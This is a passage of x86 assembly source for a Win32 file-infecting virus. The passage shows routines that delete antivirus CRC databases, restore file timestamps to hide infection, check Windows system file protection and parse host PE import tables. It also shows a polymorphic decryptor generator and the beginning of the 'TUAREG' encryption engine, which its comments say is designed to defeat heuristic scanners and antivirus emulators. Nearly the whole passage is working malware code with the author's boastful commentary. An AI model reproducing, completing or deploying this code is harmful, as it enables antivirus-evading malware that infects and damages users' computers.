push ecx
|
||
mov ecx, 4
|
||
@@Loop_001: cmp dl, 'A'
|
||
jb @@Next
|
||
cmp dl, 'Z'
|
||
ja @@Next
|
||
add dl, 20h
|
||
@@Next: rol edx, 8
|
||
loop @@Loop_001
|
||
pop ecx
|
||
ret
|
||
ToLower endp
|
||
|
||
;; This function deletes the files AVP.CRC, ANTI-VIR.DAT, CHKLIST.MS and
|
||
;; IVB.NTZ, which are antivirus CRC databases.
|
||
DeleteDATs proc
|
||
lea ebx, [ebp+FileDAT1]
|
||
call DeleteFile
|
||
lea ebx, [ebp+FileDAT2]
|
||
call DeleteFile
|
||
lea ebx, [ebp+FileDAT3]
|
||
call DeleteFile
|
||
lea ebx, [ebp+FileDAT4]
|
||
call DeleteFile
|
||
ret
|
||
DeleteDATs endp
|
||
|
||
;; Function to delete the file pointed by EBX
|
||
DeleteFile proc
|
||
push 80h
|
||
push ebx
|
||
call dword ptr [ebp+RVA_SetFileAttributesA]
|
||
push ebx
|
||
call dword ptr [ebp+RVA_DeleteFileA]
|
||
ret
|
||
DeleteFile endp
|
||
|
||
FileDAT1 db 'AVP.CRC',0
|
||
FileDAT2 db 'ANTI-VIR.DAT',0
|
||
FileDAT3 db 'CHKLIST.MS',0
|
||
FileDAT4 db 'IVB.NTZ',0
|
||
|
||
;; Function to save the timestamp of a file...
|
||
SaveDateTime proc
|
||
xor eax, eax
|
||
jmp FileDateTime_Common
|
||
SaveDateTime endp
|
||
|
||
;; ... and later restore it with this other function
|
||
RestoreDateTime proc
|
||
mov eax, 4
|
||
FileDateTime_Common:
|
||
lea ebx, [ebp+FileTime]
|
||
push ebx
|
||
add ebx, 8
|
||
push ebx
|
||
add ebx, 8
|
||
push ebx
|
||
push dword ptr [ebp+FileHandle]
|
||
call dword ptr [ebp+eax+RVA_GetFileTime]
|
||
; EAX = 0: GetFileTime
|
||
; EAX = 4: SetFileTime
|
||
ret
|
||
RestoreDateTime endp
|
||
|
||
;; If we are in Win2K, some files are protected by the operating system. Since
|
||
;; they aren't all the files in the harddisk (only the system ones), we only
|
||
;; have to check if a file is protected or not. For that thing that I do in
|
||
;; InfectFile, we need to load SFC.DLL, which have the protection APIs. If we
|
||
;; can't load that, then we aren't in Win2K, so we put 0 in the RVA-storage
|
||
;; variable to know that the function can't be called. Normally, under Win2K
|
||
;; this DLL is loaded always (like ADVAPI32.DLL), so we'll get the module
|
||
;; handle as if we call GetModuleHandleA. If not, then we load it :)
|
||
LoadSFCFunctions proc
|
||
lea eax, [ebp+SFC_Dll]
|
||
push eax
|
||
call dword ptr [ebp+RVA_LoadLibraryA]
|
||
mov dword ptr [ebp+HandleSFC], eax
|
||
or eax, eax
|
||
jz @@EndOfSFCs
|
||
lea ebx, [ebp+ASC_SfcIsFileProtected]
|
||
push ebx
|
||
push eax
|
||
call dword ptr [ebp+RVA_GetProcAddress]
|
||
@@EndOfSFCs:
|
||
mov dword ptr [ebp+RVA_SfcIsFileProtected], eax ; 0 or
|
||
ret ; address
|
||
LoadSFCFunctions endp
|
||
|
||
SFC_Dll db 'SFC.DLL',0
|
||
HandleSFC dd 0
|
||
ASC_SfcIsFileProtected db 'SfcIsFileProtected',0 ; The only function we
|
||
RVA_SfcIsFileProtected dd 0 ; need
|
||
|
||
LoadIMAGEHLPFunctions proc
|
||
lea eax, [ebp+IMAGEHLP_Dll]
|
||
push eax
|
||
call dword ptr [ebp+RVA_LoadLibraryA]
|
||
mov dword ptr [ebp+HandleIMAGEHLP], eax
|
||
or eax, eax
|
||
jz @@EndOfIMAGEHLPs
|
||
lea ebx, [ebp+ASC_CheckSumMappedFile]
|
||
push ebx
|
||
push eax
|
||
call dword ptr [ebp+RVA_GetProcAddress]
|
||
@@EndOfIMAGEHLPs:
|
||
mov dword ptr [ebp+RVA_CheckSumMappedFile], eax
|
||
ret
|
||
LoadIMAGEHLPFunctions endp
|
||
|
||
IMAGEHLP_Dll db 'IMAGEHLP.DLL',0
|
||
HandleIMAGEHLP dd 0
|
||
ASC_CheckSumMappedFile db 'CheckSumMappedFile',0
|
||
RVA_CheckSumMappedFile dd 0
|
||
|
||
;;; This function creates a decryptor that fills the 40 free bytes at the be-
|
||
;;; ginning of the virus. That (shitty polymorphic) decryptor is made to avoid
|
||
;;; cryptanalisis. Moreover, this function gets some values for the later use
|
||
;;; of the TUAREG.
|
||
ModifyDumbDecryptor proc
|
||
pushad
|
||
@@AgainRnd: call Random
|
||
or eax, eax
|
||
jz @@AgainRnd
|
||
mov [ebp+DecryptKey], eax ; Get the decryption key for the
|
||
; main encryption (TUAREG)
|
||
@@AgainRnd2: call Random
|
||
and al, 3
|
||
jz @@AgainRnd2
|
||
dec al
|
||
mov byte ptr [ebp+EncryptType], al ; Get method: 0=ADD,
|
||
; 1=SUB, 2=XOR
|
||
lea edi, [ebp+Inic_Virus]
|
||
;; Let's use the TUAREG functions
|
||
mov dword ptr [ebp+Index1Register], 08080808h
|
||
call SelectARegister
|
||
mov [ebp+Index1Register], al
|
||
call SelectARegister
|
||
mov [ebp+Index2Register], al
|
||
call SelectARegister
|
||
mov [ebp+KeyRegister], al
|
||
lea ebx, [ebp+@@SetIndex]
|
||
lea ecx, [ebp+@@SetCounter]
|
||
lea edx, [ebp+@@SetKey]
|
||
lea esi, [ebp+@@Garbage]
|
||
call RandomCalling
|
||
mov esi, edi
|
||
@@GetOtherType:
|
||
call Random
|
||
and eax, 3
|
||
jz @@GetOtherType
|
||
dec eax
|
||
mov [ebp+EncryptType2], al
|
||
cmp al, 1
|
||
jb @@PutSUB
|
||
jz @@PutADD
|
||
@@PutXOR: mov al, 0031h
|
||
jmp @@Next01
|
||
@@PutADD: mov al, 0001h
|
||
jmp @@Next01
|
||
@@PutSUB: mov al, 0029h
|
||
@@Next01: mov ah, [ebp+KeyRegister]
|
||
shl ah, 3
|
||
or ah, [ebp+Index1Register]
|
||
cmp byte ptr [ebp+Index1Register], 5
|
||
jnz @@Next02
|
||
or ah, 40h
|
||
stosw
|
||
xor al, al
|
||
stosb
|
||
jmp @@Next03
|
||
@@Next02: stosw
|
||
@@Next03: call @@Garbage
|
||
push esi
|
||
lea ebx, [ebp+@@ModifyKey]
|
||
lea ecx, [ebp+@@ModifyIndex]
|
||
lea edx, [ebp+@@Garbage]
|
||
lea esi, [ebp+@@Ret]
|
||
call RandomCalling
|
||
pop esi
|
||
|
||
@@Repeat: call Random
|
||
and al, 3
|
||
jz @@Repeat
|
||
cmp al, 2
|
||
jb @@DecCounter
|
||
jz @@SubCounter
|
||
@@AddCounter: mov ax, 0C083h
|
||
or ah, [ebp+Index2Register]
|
||
stosw
|
||
mov al, 0FFh
|
||
stosb
|
||
jmp @@Next04
|
||
@@SubCounter: mov ax, 0E883h
|
||
or ah, [ebp+Index2Register]
|
||
stosw
|
||
mov al, 1
|
||
stosb
|
||
jmp @@Next04
|
||
@@DecCounter: mov al, 48h
|
||
add al, [ebp+Index2Register]
|
||
stosb
|
||
@@Next04: call RandomFlags
|
||
jz @@DoLongJNZ
|
||
mov al, 75h
|
||
stosb
|
||
inc edi
|
||
mov eax, esi
|
||
sub eax, edi
|
||
mov [edi-1], al
|
||
jmp @@Next05
|
||
@@DoLongJNZ: mov ax, 850Fh
|
||
stosw
|
||
add edi, 4
|
||
mov eax, esi
|
||
sub eax, edi
|
||
mov [edi-4], eax
|
||
@@Next05: lea esi, [ebp+InicDecryptVirus]
|
||
mov dword ptr [ebp+Index1Register], 08080808h
|
||
@@Next06: cmp edi, esi
|
||
jz @@Made
|
||
call @@Garbage2
|
||
jmp @@Next06
|
||
@@Made: popad
|
||
@@Ret: ret ; Return
|
||
|
||
@@ModifyKey: call Random
|
||
and al, 3
|
||
mov byte ptr [ebp+KeyModification], al
|
||
jz @@ModADD
|
||
cmp al, 2
|
||
jb @@ModSUB
|
||
jz @@ModXOR
|
||
@@ModROL: mov ax, 0C0D1h
|
||
or ah, byte ptr [ebp+KeyRegister]
|
||
stosw
|
||
call @@Garbage
|
||
ret
|
||
@@ModADD: mov ax, 0C081h
|
||
jmp @@ModNext
|
||
@@ModSUB: mov ax, 0E881h
|
||
jmp @@ModNext
|
||
@@ModXOR: mov ax, 0F081h
|
||
@@ModNext: or ah, byte ptr [ebp+KeyRegister]
|
||
stosw
|
||
call Random
|
||
mov [ebp+KeyModifier], eax
|
||
stosd
|
||
call @@Garbage
|
||
ret
|
||
|
||
@@ModifyIndex: call RandomFlags
|
||
jz @@Add4
|
||
@@Lea4: mov al, 8Dh
|
||
mov ah, [ebp+Index1Register]
|
||
shl ah, 3
|
||
or ah, [ebp+Index1Register]
|
||
or ah, 40h
|
||
@@StoreAddition:
|
||
stosw
|
||
mov al, 4
|
||
stosb
|
||
call @@Garbage
|
||
ret
|
||
@@Add4: mov ax, 0C083h
|
||
or ah, [ebp+Index1Register]
|
||
jmp @@StoreAddition
|
||
|
||
@@SetIndex: mov ebx, [ebp+RelocHeader]
|
||
add ebx, [ebp+MappingAddress]
|
||
mov ebx, [ebx+0Ch]
|
||
mov esi, [ebp+PEHeaderAddress]
|
||
add ebx, [esi+34h]
|
||
add ebx, 3Ch
|
||
mov dl, [ebp+Index1Register]
|
||
call @@DoMOV
|
||
call @@Garbage
|
||
ret
|
||
|
||
@@SetCounter: call Random
|
||
and eax, 7Fh
|
||
cmp eax, 78h
|
||
ja @@SetCounter
|
||
sub eax, (offset End_Virus - offset InicDecryptVirus) / 4
|
||
neg eax
|
||
mov ebx, eax
|
||
mov dl, [ebp+Index2Register]
|
||
call @@DoMOV
|
||
call @@Garbage
|
||
ret
|
||
|
||
@@SetKey: mov ebx, [ebp+CryptValue2]
|
||
mov dl, [ebp+KeyRegister]
|
||
call @@DoMOV
|
||
call @@Garbage
|
||
ret
|
||
|
||
@@DoMOV: call Random
|
||
and al, 3
|
||
jz @@DoPureMOV2
|
||
cmp al, 2
|
||
jb @@DoPureMOV
|
||
jz @@DoPUSHPOP
|
||
@@DoLEA: mov ax, 058Dh
|
||
shl dl, 3
|
||
or ah, dl
|
||
stosw
|
||
@@StoreValue: mov eax, ebx
|
||
stosd
|
||
ret
|
||
@@DoPureMOV: mov al, 0B8h
|
||
add al, dl
|
||
stosb
|
||
jmp @@StoreValue
|
||
@@DoPureMOV2: mov ax, 0C0C7h
|
||
add ah, dl
|
||
stosw
|
||
jmp @@StoreValue
|
||
@@DoPUSHPOP: mov al, 68h
|
||
stosb
|
||
mov eax, ebx
|
||
stosd
|
||
call @@Garbage
|
||
mov al, 58h
|
||
add al, dl
|
||
stosb
|
||
ret
|
||
|
||
@@Garbage2: pushad
|
||
call Random
|
||
and al, 3
|
||
jz @@OneByteWithoutRegister
|
||
cmp al, 2
|
||
jb @@OneByteWithRegister
|
||
jz @@TwoBytes2
|
||
|
||
@@Garbage_XCHGEAX:
|
||
call Random
|
||
and al, 7
|
||
cmp al, 4
|
||
jz @@Garbage_XCHGEAX
|
||
add al, 90h
|
||
stosb
|
||
jmp @@EndGarbage
|
||
|
||
@@Garbage: pushad
|
||
call Random
|
||
and al, 3
|
||
jz @@TwoBytes
|
||
cmp al, 2
|
||
jb @@OneByteWithoutRegister
|
||
jz @@EndGarbage
|
||
|
||
@@OneByteWithRegister:
|
||
call Random
|
||
and al, 8
|
||
mov dl, al
|
||
call SelectARegister
|
||
or al, dl
|
||
add al, 40h
|
||
stosb
|
||
jmp @@EndGarbage
|
||
|
||
@@OneByteWithoutRegister:
|
||
call Random
|
||
and eax, 07h
|
||
mov al, byte ptr [ebp+eax+@@OneByteTable]
|
||
stosb
|
||
jmp @@EndGarbage
|
||
|
||
@@OneByteTable db 90h, 0F5h, 0F8h, 0F9h, 0FCh, 0FDh, 0FBh, 90h
|
||
; NOP, CMC, CLC, STC, CLD, STD, STI, NOP
|
||
|
||
@@TwoBytes2:
|
||
test edi, 1
|
||
jnz @@EndGarbage
|
||
@@TwoBytes:
|
||
call SelectARegister
|
||
mov dl, al
|
||
call Random
|
||
and ax, 0738h
|
||
mov dh, ah
|
||
inc eax
|
||
call RandomFlags
|
||
jz @@TwoBytes_01
|
||
xchg dh, dl
|
||
add al, 2
|
||
@@TwoBytes_01:
|
||
shl dh, 3
|
||
mov ah, 0C0h
|
||
or ah, dl
|
||
or ah, dh
|
||
stosw
|
||
|
||
@@EndGarbage:
|
||
mov [esp+S_EDI], edi
|
||
popad
|
||
ret
|
||
ModifyDumbDecryptor endp
|
||
|
||
KeyModification db 0
|
||
KeyModifier dd 0
|
||
EncryptType2 db 0
|
||
|
||
Addr_Kernel32 dd 0 ; Address of KERNEL32
|
||
|
||
;; This routine copies dword by dword the indicated frame, and before storing
|
||
;; it, it encrypts that dword with the encryption key. There is one control
|
||
;; variable (CopyingVirus) that controls whether he have to leave the first
|
||
;; 3Ch bytes unencrypted (the little decryptor) and we have to encrypt with
|
||
;; two encryption keys instead of one. Cryptanalisys is hard with two decryp-
|
||
;; tion keys because the relation from one byte to another doesn't remain
|
||
;; constant when you apply XOR+XOR or ADD+XOR or SUB+XOR, as I apply in this
|
||
;; virus. If this doesn't avoid anything, maybe next time I'll code two 8 Kb
|
||
;; sized decryptors with the TUAREG and with more techniques of encryption (or
|
||
;; two encryptions, or position-based decryptions, or things like that :).
|
||
EncryptWhileStoring proc
|
||
push edx
|
||
cmp byte ptr [ebp+CopyingVirus], 1 ; Virus code?
|
||
jnz @@Jump_000 ; If not, jump
|
||
mov edx, 3Ch/4 ; Leave the first 3Ch bytes with only
|
||
; an encryption layer
|
||
jmp @@Loop_001
|
||
@@Jump_000: xor edx, edx ; EDX=0
|
||
@@Loop_001: lodsd
|
||
cmp byte ptr [ebp+CopyingVirus], 1
|
||
jnz @@Next2
|
||
or edx, edx ; While EDX isn't 0, we only encrypt with
|
||
jz @@Next1 ; the main encryption key
|
||
dec edx
|
||
jmp @@Next2
|
||
@@Next1: cmp byte ptr [ebp+EncryptType2], 1
|
||
jb @@ADD2
|
||
jz @@SUB2
|
||
@@XOR2: xor eax, dword ptr [ebp+CryptValue2]
|
||
jmp @@Next3
|
||
@@ADD2: add eax, dword ptr [ebp+CryptValue2]
|
||
jmp @@Next3
|
||
@@SUB2: sub eax, dword ptr [ebp+CryptValue2]
|
||
@@Next3: push eax
|
||
mov eax, [ebp+CryptValue2]
|
||
cmp byte ptr [ebp+KeyModification], 1
|
||
jb @@ModADD
|
||
jz @@ModSUB
|
||
cmp byte ptr [ebp+KeyModification], 3
|
||
jb @@ModXOR
|
||
@@ModROL: rol eax, 1
|
||
jmp @@Next4
|
||
@@ModADD: add eax, [ebp+KeyModifier]
|
||
jmp @@Next4
|
||
@@ModSUB: sub eax, [ebp+KeyModifier]
|
||
jmp @@Next4
|
||
@@ModXOR: xor eax, [ebp+KeyModifier]
|
||
@@Next4: mov [ebp+CryptValue2], eax
|
||
pop eax
|
||
@@Next2: cmp byte ptr [ebp+EncryptType], 1
|
||
jb @@ADD
|
||
jz @@SUB
|
||
@@XOR: xor eax, dword ptr [ebp+DecryptKey]
|
||
jmp @@Next
|
||
@@ADD: add eax, dword ptr [ebp+DecryptKey]
|
||
jmp @@Next
|
||
@@SUB: sub eax, dword ptr [ebp+DecryptKey]
|
||
@@Next: stosd
|
||
dec ecx
|
||
jnz @@Loop_001 ; Repeat <ECX> times (I don't use LOOP coz
|
||
pop edx ; the jump exceeds 128 bytes :)
|
||
ret
|
||
EncryptWhileStoring endp
|
||
|
||
CopyingVirus db 0
|
||
|
||
EncryptType db 0 ; 0=ADD, 1=SUB, 2=XOR
|
||
DecryptKey dd 0
|
||
|
||
CalculateAPIsAddresses proc
|
||
;; ESI=Address of PE header
|
||
pushad
|
||
lea edi, [ebp+APIInfo+4]
|
||
mov ecx, 20h
|
||
xor eax, eax
|
||
@@LoopKK: mov [edi], eax
|
||
add edi, 10h
|
||
loop @@LoopKK
|
||
|
||
mov byte ptr [ebp+AnyAPIFound], 0
|
||
mov edi, [esi+80h]
|
||
movzx ebx, word ptr [esi+06h]
|
||
movzx edx, word ptr [esi+14h]
|
||
lea edx, [esi+edx+18h]
|
||
@@Loop01: mov eax, [edx+0Ch]
|
||
add eax, [edx+08h]
|
||
cmp edi, [edx+0Ch]
|
||
jb @@NextSection
|
||
cmp edi, eax
|
||
jb @@SectionFound
|
||
@@NextSection:
|
||
add edx, 28h
|
||
dec ebx
|
||
jnz @@Loop01
|
||
jmp @@Exit
|
||
@@SectionFound:
|
||
mov eax, edi
|
||
sub eax, [edx+0Ch]
|
||
add eax, [edx+14h]
|
||
|
||
;; EAX=Physical address of import table (relative)
|
||
;; EDI=Virtual address of import table (relative)
|
||
|
||
mov [ebp+Idata_Phys], eax
|
||
mov [ebp+Idata_Virt], edi
|
||
|
||
mov edx, [esi+84h]
|
||
mov ecx, eax
|
||
add ecx, [ebp+MappingAddress]
|
||
add edx, ecx
|
||
@@Loop02: mov ebx, [ecx+0Ch]
|
||
or ebx, ebx
|
||
jz @@Exit
|
||
cmp ebx, [esi+50h]
|
||
ja @@Next
|
||
sub ebx, [ebp+Idata_Virt]
|
||
add ebx, [ebp+Idata_Phys]
|
||
add ebx, [ebp+MappingAddress]
|
||
push edx
|
||
mov edx, [ebx]
|
||
call ToLower
|
||
cmp edx, 'nrek'
|
||
jnz @@Next2
|
||
mov edx, [ebx+4]
|
||
call ToLower
|
||
cmp edx, '23le'
|
||
jnz @@Next2
|
||
mov edx, [ebx+8]
|
||
call ToLower
|
||
cmp edx, 'lld.'
|
||
jnz @@Next2
|
||
pop edx
|
||
|
||
mov edi, [ecx+10h]
|
||
add edi, [esi+34h]
|
||
mov edx, [ecx]
|
||
sub edx, [ebp+Idata_Virt]
|
||
add edx, [ebp+Idata_Phys]
|
||
add edx, [ebp+MappingAddress]
|
||
|
||
@@Otro: mov eax, [edx]
|
||
or eax, eax
|
||
js @@NextFunc ; Avoid ordinals
|
||
jz @@Exit
|
||
sub eax, [ebp+Idata_Virt]
|
||
add eax, [ebp+Idata_Phys]
|
||
add eax, [ebp+MappingAddress]
|
||
add eax, 2
|
||
mov esi, eax
|
||
xor eax, eax
|
||
|
||
@@LoopAPI: cmp byte ptr [esi], 0
|
||
jz @@NameCalculated
|
||
mov cl, [esi]
|
||
and cl, 3
|
||
rol eax, cl
|
||
xor al, [esi]
|
||
inc esi
|
||
jmp @@LoopAPI
|
||
@@NameCalculated:
|
||
lea esi, [ebp+APIInfo]
|
||
mov ecx, 20h
|
||
@@LoopCheckAPI:
|
||
cmp eax, [esi]
|
||
jz @@APIFound
|
||
add esi, 10h
|
||
loop @@LoopCheckAPI
|
||
@@NextFunc: add edx, 4
|
||
add edi, 4
|
||
jmp @@Otro
|
||
@@APIFound: mov [esi+4], edi
|
||
mov byte ptr [ebp+AnyAPIFound], 1
|
||
jmp @@NextFunc
|
||
@@Next2: pop edx
|
||
@@Next: add ecx, 14h
|
||
cmp ecx, edx
|
||
jb @@Loop02
|
||
@@Exit: popad
|
||
ret
|
||
CalculateAPIsAddresses endp
|
||
|
||
Idata_Phys dd 0
|
||
Idata_Virt dd 0
|
||
|
||
;ËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËË;
|
||
;ÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐ;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;----------------------------------------------------------------------------;
|
||
;ßßßßÛßß Û ÛßßÛ ÛßÛÜ Ûßßß ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ ÜÛ ÜßÜ ÜÛ ;
|
||
;ßßÛ Û Û Û Û Û Û ÜÛ Û Û Tameless Unpredictable Û ÞßÞ Ý Þ ÞßÞ ;
|
||
; Û Û Û Û ÛßßÛ ÛßÛÜ Ûßß Û ßÛ Anarchic Relentless Û Þ Þ þ Ý Þ ;
|
||
; Û Û ÛÜÜÛ Û Û Û Û ÛÜÜÜ ÛÜÜÛ Encryption Generator ÛÜÜÜÜÜ Þ ÜÜ Ý Þ Ü Þ ;
|
||
; ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÜÛÜ Ü ßÜß ÜÜÛÜ;
|
||
;----------------------------------------------------------------------------;
|
||
; The name is quite strambotic :), but I had to justify why the engine is ;
|
||
; called "TUAREG". Anyway, the name isn't new, as I'm in this project since ;
|
||
; 1998, yet before making the MeDriPolEn. ;
|
||
; ;
|
||
; This engine features: ;
|
||
; ;
|
||
; PRIDE - Pseudo-Random Index DEcryption ;
|
||
; Branching Technique - Avoids linear execution of the decryption loop ;
|
||
; ;
|
||
; This two techniques are explained on the article about "Advanced decryption;
|
||
; construction" on 29A#5, where they are better explained than they would be ;
|
||
; here. ;
|
||
; ;
|
||
; Some notes: ;
|
||
; - The subroutines code will be at the end of every branch for every subrou-;
|
||
; tine created in that branch (the engine selects randomly whether call a ;
|
||
; created existing one or create a new one and call it when inserting code).;
|
||
; - The registers have a "touched" flag, which avoids their use before set- ;
|
||
; ting on them a valid value (thing that sets lots of flags on heuristic ;
|
||
; scanners). So, when you call SelectARegisterWithInit, it'll look if the ;
|
||
; register is "touched". If it isn't, before returning it'll made a DoMOV ;
|
||
; with a random value and it'll set as "touched". ;
|
||
; - This version is 1.0 after adding calls to the Win32 API (concretely to ;
|
||
; KERNEL32) but not directly, but to the import table (like a normal app.). ;
|
||
; - "Recursivity" is the main word in the making of this engine. Almost ;
|
||
; every routine is prepared to be called in recursive instances, and with ;
|
||
; recursivity we make that the generated code become complex as hell. Just ;
|
||
; look at the code :). ;
|
||
; - The engine is HUGE (more than a half of the virus is this engine), and, ;
|
||
; corresponding to its size, the decryptor it generates is one of the most ;
|
||
; complex decryptors ever generated by any existent polymorphic engine. I'm ;
|
||
; not saying it's the best, but sure it's one of the best :). ;
|
||
; - Nothing more, enjoy it as much as I did it coding it! ;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
; EAX=Displacement from the beginning till the virus
|
||
; EBX=Virtual address of the beginning of the encrypted part
|
||
; ECX=Place where the decryptors must be put
|
||
; Size of encrypted part is Virus_Size+Host_Data_Size
|
||
|
||
Ident_Tuareg db 0,'[TUAREG v1.01]',0 ; This marks the beginning of
|
||
; the engine
|
||
; Help with stack positions (when you do PUSHAD)
|
||
S_EAX equ 1Ch
|
||
S_ECX equ 18h
|
||
S_EDX equ 14h
|
||
S_EBX equ 10h
|
||
S_ESP equ 0Ch
|
||
S_EBP equ 08h
|
||
S_ESI equ 04h
|
||
S_EDI equ 00h
|
||
|
||
BssSection dd 0 ; Data-writing sections. Here we can define
|
||
Data1Section dd 0 ; memory variables and all that. The idea is very
|
||
Data2Section dd 0 ; similar to the MeDriPolEn, where I did a table
|
||
Data3Section dd 0 ; with all the free holes in the virus. This time
|
||
Data4Section dd 0 ; I include the .bss section, if it's available.
|
||
; Instead of making a table with writable addresses,
|
||
; I put here free frames of 256 bytes at least, gi-
|
||
; ving a random dword ptr address inside this frames.
|
||
|
||
ReservedBssAddress dd 0 ; I save this address to avoid making garbage with
|
||
; it. This address will be used to make a jump to
|
||
; the unencrypted part. Since the jump isn't cons-
|
||
; tructed before total decryption, the emulator of
|
||
; an antivirus must emulate to reach one of this
|
||
; jumps, to see where the decryptor jumps once the
|
||
; data is decrypted.
|
||
|
||
ReservedMemVars_F db 30h dup (0)
|
||
ReservedMemVars_Addr dd 30h dup (0)
|
||
|
||
|
||
DecryptorBeginAddress dd 0 ; Physical address of the decryptor
|
||
DecryptorVirtualBeginAddress dd 0 ; Virtual address of the decryptor
|
||
Distance dd 0 ; Distance from the virtual begin address
|
||
; of the decryptor to the decrypted data
|
||
EncryptedDataBeginAddress dd 0 ; Place where the virtual address of the
|
||
; encrypted virus is stored
|
||
Index1Register db 0 ; Index1 Register
|
||
Index2Register db 0 ; Index2 Register (used for PRIDE)
|
||
KeyRegister db 0 ; Key register (it can be used or not)
|
||
BufferRegister db 0 ; Buffer register, for some operations that
|
||
; require a not-modifiable-by-garbage register
|
||
CopyOfUsedRegisters db 4 dup (0) ; Here we save the four registers
|
||
; selected before sometimes, mainly when we
|
||
; construct the jump to the decrypted part
|
||
; and we don't need the register saving any-
|
||
; more. Since we are coding the end of a
|
||
; branch, we have to save them for the coding
|
||
; of the next branches.
|
||
Index1Modifier dd 0 ; This is a random 8-multiple number between 0 and
|
||
; Virus_SizePOW2 (look PRIDE formula)
|
||
Index2Modifier dd 0 ; Value between 4 and 7. Since we are going to do
|
||
; AND Index2,xxx, being 0 the two last bits of
|
||
; xxx, we don't mind the two last bits of the mo-
|
||
; difier, since they are going to be anulated.
|
||
|
||
TuaregFlags dd 0
|
||
BranchIdentifier db 0
|
||
AddressOfTuaregStackFrame dd 0
|
||
|
||
EPAddition dd 0
|
||
|
||
;; This flags are individual for each branch, so they aren't general. This
|
||
;; allows each branch to have a "unique" behaviour sometimes.
|
||
;;
|
||
;; Flags:
|
||
;; Bit 0: Use key register: 0=YES, 1=NO
|
||
;; Bit 1-2: 00=Use buffer register, 01=XOR again Index2, 10=PUSH/POP Index2
|
||
;; 11=Reserved, repeat flag obtention
|
||
;; Bit 3: 0=No action, 1=Exchange Index1 and Index2 when using one of them
|
||
;; as memory index (avoid one possible algorithmical clue for detection)
|
||
;; Bit 4-5: 00=Functional branch code in a subroutine
|
||
;; Bit 6-7: 00=Index calculation + decryption in a subroutine
|
||
;; Bit 8-9: 00=Decryption in a subroutine
|
||
;; Bit 10-11: 00=All index modifications in a subroutine
|
||
;; Bit 12-13: 00=Modify index1 in a subroutine
|
||
;; Bit 14-15: 00=Mask index1 in a subroutine
|
||
;; Bit 16-17: 00=Modify index2 in a subroutine
|
||
;; Bit 18-19: 00=Mask index2 in a subroutine
|
||
;; Bit 20-31: Reserved for future expansion
|
||
|
||
;; Information for every branch in the reserved frame of stack:
|
||
;; +00: DWORD: Branch flags
|
||
;; +04: DWORD: Functional branch code subroutine address (0 if not made)
|
||
;; +08: DWORD: Index calculation + decryption subroutine address
|
||
;; +0C: DWORD: Decryption subroutine address
|
||
;; +10: DWORD: Index modifications subroutine address
|
||
;; +14: DWORD: Modification of index1 subroutine address
|
||
;; +18: DWORD: Masking of index1 subroutine address
|
||
;; +1C: DWORD: Modification of index2 subroutine address
|
||
;; +20: DWORD: Masking of index2 subroutine address
|
||
;; +24-40: reserved
|
||
|
||
InitialValue dd 0 ; This is the initial value of Index2. The decryp-
|
||
; tion of the virus body ends when Index2 reaches
|
||
; this value again.
|
||
;; Begin fun!
|
||
Tuareg proc
|
||
pushad
|
||
sub esp, 1000h ; Create stack frame for variables
|
||
mov [ebp+AddressOfTuaregStackFrame], esp
|
||
|
||
mov [ebp+Distance], eax
|
||
mov [ebp+DecryptorBeginAddress], ecx
|
||
mov [ebp+DecryptorVirtualBeginAddress], ebx
|
||
mov edi, ecx ; Save entry values and put EDI as the sto-
|
||
; rage address (to use STOSB and all that)
|
||
mov eax, [ebp+RelocHeader]
|
||
add eax, [ebp+MappingAddress]
|
||
mov eax, [eax+0Ch]
|
||
mov esi, [ebp+PEHeaderAddress]
|
||
add eax, [esi+34h]
|
||
mov [ebp+EncryptedDataBeginAddress], eax ; Set the virtual
|
||
; address of the encrypted data
|
||
|
||
; This variables must be set to 0 at the beginning
|
||
xor eax, eax
|
||
mov [ebp+JumpsToCompleteNdx], eax
|
||
mov [ebp+JumpingArrayNdx], eax
|
||
mov [ebp+CallsLevel1Ndx], eax
|
||
mov [ebp+CallsLevel2Ndx], eax
|
||
mov [ebp+CallsLevel3Ndx], eax
|
||
mov dword ptr [ebp+ArrayOfCalls1Ndx], eax
|
||
mov dword ptr [ebp+ArrayOfCalls2Ndx], eax
|
||
mov dword ptr [ebp+ArrayOfCalls3Ndx], eax
|
||
mov dword ptr [ebp+TouchedRegisters], eax
|
||
mov dword ptr [ebp+TouchedRegisters+4], eax
|
||
mov byte ptr [ebp+ImInRandomLoop], al
|
||
mov byte ptr [ebp+MOVingRecursLevel], al
|
||
mov byte ptr [ebp+KeyIsInit], al
|
||
mov byte ptr [ebp+ImInAPI], al
|
||
mov byte ptr [ebp+FirstAPICall], al
|
||
|
||
call Random
|
||
and eax, Virus_SizePOW2 - 8
|
||
mov [ebp+Index1Modifier], eax ; Set Index1 modifier
|
||
|
||
call Random
|
||
and eax, 3
|
||
add eax, 4
|
||
mov [ebp+Index2Modifier], eax ; Set Index2 modifier
|
||
|
||
; Initializing of the random generator (to make is slow poly)
|
||
lea eax, [ebp+offset SystemTimeReceiver]
|
||
push eax
|
||
call dword ptr [ebp+RVA_GetSystemTime]
|
||
mov eax, [ebp+DwordAleatorio1]
|
||
xor eax, [ebp+DwordAleatorio2]
|
||
mov [ebp+DwordAleatorio3], eax
|
||
|
||
; Register selection
|
||
mov dword ptr [ebp+Index1Register], 08080808h
|
||
@@OtherRegister:
|
||
call SelectARegister
|
||
cmp byte ptr [ebp+AnyAPIFound], 1
|
||
jnz @@SelectAllForKey
|
||
cmp al, 2
|
||
